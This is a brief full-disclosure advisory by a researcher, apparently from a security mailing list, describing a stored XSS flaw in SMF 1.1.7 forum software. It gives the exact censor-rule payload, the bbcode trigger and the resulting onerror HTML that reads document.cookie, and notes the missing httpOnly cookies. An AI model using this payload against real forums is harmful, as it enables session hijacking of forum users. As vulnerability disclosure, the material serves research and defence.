SMF 1.1.7 (simplemachines.org) XSS

Exploitation:

If you can modify the censor on a SMF forum, then you can make it
execute arbitrary JS code.
http://SMF.Forum.com/index.php?action=postsettings;sa=censor

Just add the following entry:
http://www.test.xss/ => http://www.test-xss/" onerror="alert(document.cookie)

And then write a post, modify your signature, or send a PM with the code:
[img]http://www.test.xss/[/img]

And the HTML code generated will be..
<img src="http://www.test-xss/" onerror="alert(document.cookie)"
alt="" border="0" />

Notes:
 - SMF is not using httpOnly cookies.
 - I'm going full disclosure with this because I've had bad
experiences with the SMF team when reporting vulnerabilities..

Greetings!!
-- Eduardo
http://www.sirdarckcat.net/